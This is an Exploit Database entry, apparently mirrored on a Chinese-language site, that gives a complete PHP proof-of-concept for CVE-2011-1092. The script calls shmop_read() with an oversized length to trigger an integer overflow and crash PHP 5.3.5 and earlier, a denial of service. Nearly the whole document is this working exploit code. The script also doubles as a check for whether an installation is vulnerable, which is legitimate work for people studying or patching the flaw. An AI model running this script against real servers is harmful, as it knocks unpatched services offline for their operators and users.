PHP 5.3.6 – ‘shmop_read()’ Integer Overflow Denial of Service

• Exploit Database
• 10 阅读

• 作者： Jose Carlos Norte
  日期： 2011-03-12
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16966/

• <?php
  # Exploit Title: PHP <=5.3.5 Integer Overflow DoS
  # Date: 12-03-11
  # Author: Jose Carlos Norte - www.rooibo.com
  # Software Link: www.php.net
  # Version: <= 5.3.5
  # Tested on: Ubuntu Linux
  # CVE : CVE-2011-1092
  
  $shm_key = ftok(__FILE__, 't');
  $shm_id = shmop_open($shm_key, "c", 0644, 100);
  $shm_data = shmop_read($shm_id, 1, 2147483647);
  //if there is no segmentation fault past this point, we have 2gb of memory!
  //or we are in a patched php
  echo "this php version is not vulnerable!";
  
  ?>